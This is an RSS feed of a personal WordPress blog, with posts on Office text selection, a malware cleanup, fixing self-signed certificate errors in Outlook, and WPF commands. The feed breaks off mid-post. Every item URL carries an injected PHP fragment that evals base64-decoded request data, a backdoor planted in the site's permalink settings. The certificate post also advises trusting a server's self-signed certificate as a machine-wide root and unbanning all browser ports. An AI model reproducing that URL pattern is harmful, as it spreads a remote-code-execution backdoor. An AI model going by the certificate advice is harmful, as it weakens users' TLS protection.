<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Friedrich&#039;s Blog &#187; Computers &#8211; General</title>
	<atom:link href="http://brunzema.com/blog/category/computers-general/feed/" rel="self" type="application/rss+xml" />
	<link>http://brunzema.com/blog</link>
	<description>Life, the universe and all.</description>
	<lastBuildDate>Fri, 06 Apr 2012 16:42:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts?</title>
		<link>http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 04 Apr 2012 17:22:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[Tired of being second guessed when selecting text with your mouse in Outlook or Word?  Here is the situation: You innocently start selecting the tail end of a word and suddenly and automatically the editor selects the whole thing!!!  This drives me nuts.  Maybe it was a long word, and I only wanted the last [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:12pt">Tired of being second guessed when selecting text with your mouse in Outlook or Word? <br />
</span></p>
<p><span style="font-size:12pt">Here is the situation: You innocently start selecting the tail end of a word and suddenly and automatically the editor selects the whole thing!!!  This drives me nuts.  Maybe it was a long word, and I only wanted the last part.  Similarly, you start selecting a paragraph and Word selects the whole [insert strong expletive] thing.  Is this annoying you? Take a deep cleansing breath and relax -- here is how you permanently disable this nasty, nasty behavior and get back into the driver's seat.</span>
	</p>
<p><strong><span style="font-size:12pt">Outlook 2010</span><br />
		</strong></p>
<p><strong><span style="font-size:12pt">File-&gt;Options -&gt;Mail -&gt;Compose Messages section-&gt; Editor Options…-&gt;Advanced</span><br />
		</strong></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2012/04/f0.png" alt="f0 Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts?"  title="Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts?" />
	</p>
<p>
 </p>
<p><span style="font-size:12pt"><strong>Word 2010<br />
</strong></span></p>
<p><span style="font-size:12pt"><strong>File-&gt;Options-&gt;Advanced-&gt;Editing Options</strong> – will show the same dialog, although the settings for Outlook (which uses Word for editing) are kept separate – you need to make the change in both Outlook and Word if you want consistent behavior.<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2012/04/f1.png" alt="f1 Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts?"  title="Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts?" />
	</p>
<p>
 </p>
<p><span style="font-size:12pt"><strong>Tips:<br />
</strong></span></p>
<p><span style="font-size:12pt">Smart cursoring is tells the editor to keep the insertion point in the same relative place as you scroll using the scrollbar – a useful feature IMHO.<br />
</span></p>
<p><span style="font-size:12pt">Triple clicking a paragraph selects the entire paragraph – again a useful feature<br />
</span></p>
<p>
 </p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogsite malware removed</title>
		<link>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 19:25:39 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=137</guid>
		<description><![CDATA[Just to let everyone know that I finally removed the malware (an obfuscated javascript that would cause redirections to a bad site), and worked with the google tools to get the site's name cleared. . Unfortunately some of the older posts's pictures are gone as I upgraded to a newer version of WordPress - I [...]]]></description>
			<content:encoded><![CDATA[<p>Just to let everyone know that I finally removed the malware (an obfuscated javascript that would cause redirections to a bad site), and worked with the google tools to get the site's name cleared.<br />
<div id="attachment_138" class="wp-caption aligncenter" style="width: 310px"><a href="http://brunzema.com/blog/wp-content/uploads/2010/04/600_malware_1.jpg"><img src="http://brunzema.com/blog/wp-content/uploads/2010/04/600_malware_1-300x219.jpg" alt="600 malware 1 300x219 Blogsite malware removed" title="600_malware_1" width="300" height="219" class="size-medium wp-image-138" /></a><p class="wp-caption-text">malware</p></div>.</p>
<p>Unfortunately some of the older posts's pictures are gone as I upgraded to a newer version of WordPress - I will fix that later.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2010/04/21/blogsite-malware-removed/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuring Hostpapa POP3 email with SSL using Outlook &#8211; Fixing SSL &#8220;self-signed certificate&#8221; errors</title>
		<link>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 23:50:11 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[self-signed certificates]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=91</guid>
		<description><![CDATA[So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site. The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader. Once everything is configured and you actually connect to the POP3 [...]]]></description>
			<content:encoded><![CDATA[<p>So you have decided to use SSL with POP3 to get your email from your Hostpapa- hosted site.  The cPanel control panel gives you instructions on how to tell Outlook how to do this, and it is left as an exercise for the reader.</p>
<p>Once everything is configured and you actually connect to the POP3 box, Windows/Outlook gives you an error message telling you:</p>
<p>"The server you are connected to is using a security certificate that could not be verified. A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider. Do you want to continue using this server?"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring14.jpg" alt="121308 2349 configuring14 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>So what is really happening?  SSL certificates are weird things – the way I understand them is that when you buy a certificate from a Certification Authority like Verisign, the certificate that you get points to a root certificate from Verisign.  That Verisign root certificate (and other root certificates from other certification authorities is installed by default by Microsoft.  When your computer makes a connection via SSL to the server, it can and does check the server's certificate.  Following the chain of certificates to the root, it finds the Verisign Root certificate.  Since this certificate matches the root certificate already installed, everything is good.</p>
<p>Why are we getting that self-signed certificate error, then?  What happened is that it is possible for people to generate a certificate that is self-signed, meaning it does not link to a trusted Certification Authority.  In this case, the root certificate does not match anything on the system, and a warning message is displayed. Hostpapa must have just used self-signed certificates, making things harder for the users.</p>
<p>I have found two different methods to get the certificate, either using OpenSSL or using Firefox 3.  I'm sure there are others, but both of these methods work.</p>
<h1>Method#1 to get the Certificate: Using OpenSSL</h1>
<p>Download <a href="http://gnuwin32.sourceforge.net/packages/openssl.htm">OpenSSL</a> for Windows and install it:</p>
<p>Open a command line prompt (start-&gt;run-&gt;cmd)</p>
<p>At the command prompt (c:\&gt;) type:</p>
<p><span style="font-size:14pt"><br />
</span><span style="font-family: Courier New;">cd \program files\gnuwin32\bin<br />
</span></p>
<p>Then type in the following commands:</p>
<p><span style="font-family: Courier New;">openssl s_client -connect <span style="background-color:yellow">hp12.hostpapa.com</span>:995 &gt; file.txt<br />
</span></p>
<p>[replace <span style="background-color:yellow">hp12.hostpapa.com</span> with the server name showing in cPanel]</p>
<p>Ctrl+C (to exit the program)</p>
<p><span style="font-family: Courier New;">openssl x509 -in file.txt -outform DER -out hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">start hostpapa.der<br />
</span></p>
<p><span style="font-family: Courier New;">This starts the certificate import wizard.<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring24.png" alt="121308 2349 configuring24 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Install Certificate<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring34.png" alt="121308 2349 configuring34 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring44.png" alt="121308 2349 configuring44 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><span style="font-family: Courier New;">Click Next<br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring54.png" alt="121308 2349 configuring54 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring64.png" alt="121308 2349 configuring64 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /><span style="font-family: Courier New;"><br />
</span></p>
<h1>Method #2 for getting the SSL Certificate, using only Firefox</h1>
<p>You will need the Firefox 3 web browser installed for this to work.  Note the number of dialogs and clicks required to get you where you want.  You will feel like a criminal doing this but it is perfectly legitimate and safe.</p>
<ol>
<li>Open your Firefox browser, in url box type about:config and press enter.</li>
<li>In next screen you will get a warning message click on "I will be careful, I promise!" button.</li>
<li>In next screen search for "network.security.ports.banned.override".</li>
<li>If this string is not there write click anywhere in the firefox text window and click on new and then select string.</li>
<li>You will get a box says " Enter the preference name" in its text box give the name "network.security.ports.banned.override" and press ok.</li>
<li>In next screen you have to give the string value. This string value is port number of your port.</li>
<li>If you want to allow all port then please give 0-65535. It will allow all the port. If you want to give some specific port then you can give those specific port using comma separated value example 101, 102, 103 etc.  Choose only 995 for HostPapa, because POP3 SSL runs on this port</li>
<li>
<div>Start Firefox and enter the following URL: <a href="https://hp12.hostpapa.com:995">https://hp12.hostpapa.com:995</a></div>
</li>
</ol>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring71.png" alt="121308 2349 configuring71 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click "Or you can add an exception"</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring81.png" alt="121308 2349 configuring81 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Add an exception</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring91.png" alt="121308 2349 configuring91 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Get Certificate</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring101.png" alt="121308 2349 configuring101 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click View, select the Details tab</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring111.png" alt="121308 2349 configuring111 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Click Export</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring121.png" alt="121308 2349 configuring121 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Choose x.509 Certificate, click save, and close all the Firefox dialogs</p>
<p>Double Click the hp12.hostpapa.der certificate, and choose to install the certificate. Method #1 shows the dialogs on Windows Vista that show up when importing the certificate.</p>
<p>Note that you are importing the certificate only for the current user.  If you want to import for all users on the machine, you must use the MMC</p>
<p>Start-&gt;Run-&gt;MMC.exe</p>
<p>File-&gt;Add /Remove SnapIn -&gt; Locate Certmgr.msc in c:\windows\system32</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/12/121308-2349-configuring131.png" alt="121308 2349 configuring131 Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors"  title="Configuring Hostpapa POP3 email with SSL using Outlook   Fixing SSL self signed certificate errors" /></p>
<p>Indicate Local machine</p>
<p>Open ConsoleRoot-&gt;Certificates(LocalComputer)-&gt;Trusted Root Certification Authorities-&gt;Certificates</p>
<p>Right-click on Certificates-&gt;All Tasks-&gt;Import</p>
<p>Follow the wizard to import the saved certificate</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/12/13/configuring-hostpapa-pop3-email-with-ssl-using-outlook-fixing-ssl-self-signed-certificate-errors/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Playing with WPF Commands</title>
		<link>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 08 May 2008 03:17:02 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[WPF]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=82</guid>
		<description><![CDATA[Download Sample source code (26KB), for Visual Studio 2008 Here is a small WPF application I wrote, which I wanted to share. It is kind of dumb, but does show some interesting concepts, including data binding, localization, commands, a view model, menus and icons in menus. How does it work? Press the ShowMessage button, and [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://brunzema.com/blog_extra/download.gif" alt="download Playing with WPF Commands"  title="Playing with WPF Commands" /> Download Sample <a href="http://www.brunzema.com/blog_extra/downloads/DemoApplication.zip">source code</a> (26KB), for Visual Studio 2008<br />
<br/><br />
<img src="http://brunzema.com/blog_extra/mvc.png" alt="mvc Playing with WPF Commands"  title="Playing with WPF Commands" /><br />
<br/><br />
Here is a small WPF application I wrote, which I wanted to share.  It is kind of dumb, but does show some interesting concepts, including data binding, localization, commands, a view model, menus and icons in menus.  How does it work?  Press the ShowMessage button, and it will show you the text in the edit box inside a message box.  Press reset, and the text inside the edit box gets reset.  The two commands button commands are also propagated to the menu.</p>
<p>The UI was designed in Expression Blend, although I admit that I often went back to editing the XML manually.  Maybe this is how you are supposed to use Blend, or I just don't know yet how to do this in Blend. One thing to note is that even though the application is localized, the UI still shows up both in Blend and in the Visual Studio 2008 editor.  For the curious, I am using Approach #1 from my <a href="http://www.codeproject.com/KB/WPF/WPFUsingLocbaml.aspx">CodeProject Article</a> on localization. (You will need to download and install the ResXFileCodeGeneratorEx <a href="http://www.codeproject.com/KB/dotnet/ResXFileCodeGeneratorEx.aspx">addin</a> to compile the sample.)</p>
<p>I must admit that I borrowed some ideas from Josh Smith's  <a href="http://www.codeproject.com/KB/WPF/MVCtoUnitTestinWPF.aspx">article</a> on Model View Controller Unit Testing WPF. Let us focus on the commands for now:</p>
<pre class="csharp"><span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> Commands
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">readonly</span> RoutedUICommand Button1Command;
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">readonly</span> RoutedUICommand Button2Command;
&nbsp;
    <span style="color: #0600FF;">static</span> Commands<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        Button1Command = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> RoutedUICommand<span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">Button1</span>, <span style="color: #808080;">&quot;Button1Command&quot;</span>,
            <a href="http://www.google.com/search?q=typeof+msdn.microsoft.com"><span style="color: #008000;">typeof</span></a> <span style="color: #000000;">&#40;</span>Commands<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
        Button2Command = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> RoutedUICommand<span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">Button2</span>, <span style="color: #808080;">&quot;Button2Command&quot;</span>,
            <a href="http://www.google.com/search?q=typeof+msdn.microsoft.com"><span style="color: #008000;">typeof</span></a> <span style="color: #000000;">&#40;</span>Commands<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre>
<p><br/>So this is just a static class containing static commands that are initialized as soon as the class is referenced for the first time.  Note that the names come from a string resource, and this helps in the localization.  Now how do we use the commands?</p>
<p>This code is part of the MainWindow.xaml, right under the Window tag.  What it does is tell WPF that we wish to intercept the commands we list under the &lt;Window.CommandBindings&gt; tag.  Now the command itself comes from the static class I just showed.  Note the use of the 'DemoApplication' namespace identifier; for this to work we have to define/import the namespace which is done as an attribute of the Window tag like so:</p>
<pre class="xml">xmlns:DemoApplication=&quot;clr-namespace:DemoApplication;assembly=&quot;</pre>
<p>The command also has two attributes, the CanExecute and Executed, which point to code-behind found in the MainWindow.cs.  The CanExecute determines if the command is available, and the Executed delegate is fired when the command is invoked.  Here is what the implementation looks like:</p>
<pre class="csharp"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span>Strings.<span style="color: #0000FF;">TextIs</span> + mViewModel.<span style="color: #0000FF;">EditBoxContents</span>, Strings.<span style="color: #0000FF;">ButtonPressed</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
    mViewModel.<span style="color: #0000FF;">EditBoxContents</span> = Strings.<span style="color: #0000FF;">ResetText</span>;
<span style="color: #000000;">&#125;</span></pre>
<p><br/>Now we have the commands defined and created and hooked up the delegates that actually handle the commands (and if the command is available), it is time to hook up the command to both to the buttons and to the menus.</p>
<pre class="xml">&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Menu</span> DockPanel.<span style="color: #000066;">Dock</span>=<span style="color: #ff0000;">&quot;Top&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
  <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.TopLevelMenu}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button1}&quot;</span>
              <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button1Command}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
        <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Image</span> <span style="color: #000066;">Source</span>=<span style="color: #ff0000;">&quot;Icons/control_play.png&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span> <span style="color: #000066;">Header</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button2}&quot;</span>
              <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button2Command}&quot;</span> <span style="font-weight: bold; color: black;">&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
        <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Image</span> <span style="color: #000066;">Source</span>=<span style="color: #ff0000;">&quot;Icons/control_stop.png&quot;</span><span style="font-weight: bold; color: black;">/&gt;</span></span>
      <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem</span>.Icon<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/MenuItem<span style="font-weight: bold; color: black;">&gt;</span></span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Menu<span style="font-weight: bold; color: black;">&gt;</span></span></span>
&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Button</span> <span style="color: #000066;">Content</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button1}&quot;</span>
        <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button1Command}&quot;</span>
        Grid.<span style="color: #000066;">Row</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        <span style="color: #000066;">VerticalAlignment</span>=<span style="color: #ff0000;">&quot;Top&quot;</span> <span style="font-weight: bold; color: black;">/&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Button</span> <span style="color: #000066;">Content</span>=<span style="color: #ff0000;">&quot;{x:Static Properties:Strings.Button2}&quot;</span>
        <span style="color: #000066;">Command</span>=<span style="color: #ff0000;">&quot;{x:Static DemoApplication:Commands.Button2Command}&quot;</span>
        Grid.<span style="color: #000066;">Column</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        Grid.<span style="color: #000066;">Row</span>=<span style="color: #ff0000;">&quot;1&quot;</span>
        <span style="color: #000066;">VerticalAlignment</span>=<span style="color: #ff0000;">&quot;Top&quot;</span> <span style="font-weight: bold; color: black;">/&gt;</span></span>
&nbsp;</pre>
<p><br/>The localized app in French looks as follows:<br />
<img src="http://brunzema.com/blog_extra/demo-fr.png" alt="demo fr Playing with WPF Commands"  title="Playing with WPF Commands" /><br/><br />
The English version is here:<br />
<img src="http://brunzema.com/blog_extra/demo.png" alt="demo Playing with WPF Commands"  title="Playing with WPF Commands" /><br />
<br/>Enough for now - good night!</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/07/playing-with-wpf-commands/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A way to show computer source code in the blog&#8230;</title>
		<link>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 07 May 2008 01:50:43 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[posting code]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=78</guid>
		<description><![CDATA[OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now. I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site. I found a plugin called Code Highlighter, that helps. I [...]]]></description>
			<content:encoded><![CDATA[<p>OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now.  I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site.  I found a plugin called <a href="http://ideathinking.com/blog-v2/?p=13">Code Highlighter</a>, that helps.  I just found the default formatting for my theme's website lacking, so I borrowed from the <a href="http://www.codeproject.com">CodeProject</a> a little .CSS fragment relating to the &lt;pre&gt; tag.</p>
<pre class="css">&nbsp;
pre
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">border</span>: <span style="color: #933;">1px</span> <span style="color: #993333;">solid</span> <span style="color: #cc00cc;">#ccc</span>; <span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">0em</span> <span style="color: #933;">0</span><span style="color: #6666ff;"><span style="color: #933;">.5em</span></span>;
	<span style="color: #000000; font-weight: bold;">background-color</span>: <span style="color: #cc00cc;">#FBEDBB</span>;
	<span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">5pt</span>;
	<span style="color: #000000; font-weight: bold;">font</span>: <span style="color: #933;">9pt</span> <span style="color: #ff0000;">&quot;Courier New&quot;</span>, Courier, mono;
	<span style="color: #000000; font-weight: bold;">white-space</span>: pre;
	overflow<span style="color: #3333ff;">:auto</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>The following is an example of what C# code looks like:</p>
<pre class="csharp">&nbsp;
<span style="color: #0600FF;">public</span> partial <span style="color: #FF0000;">class</span> Window1
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">readonly</span> ApplicationViewModel mViewModel;
&nbsp;
    <span style="color: #0600FF;">public</span> Window1<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
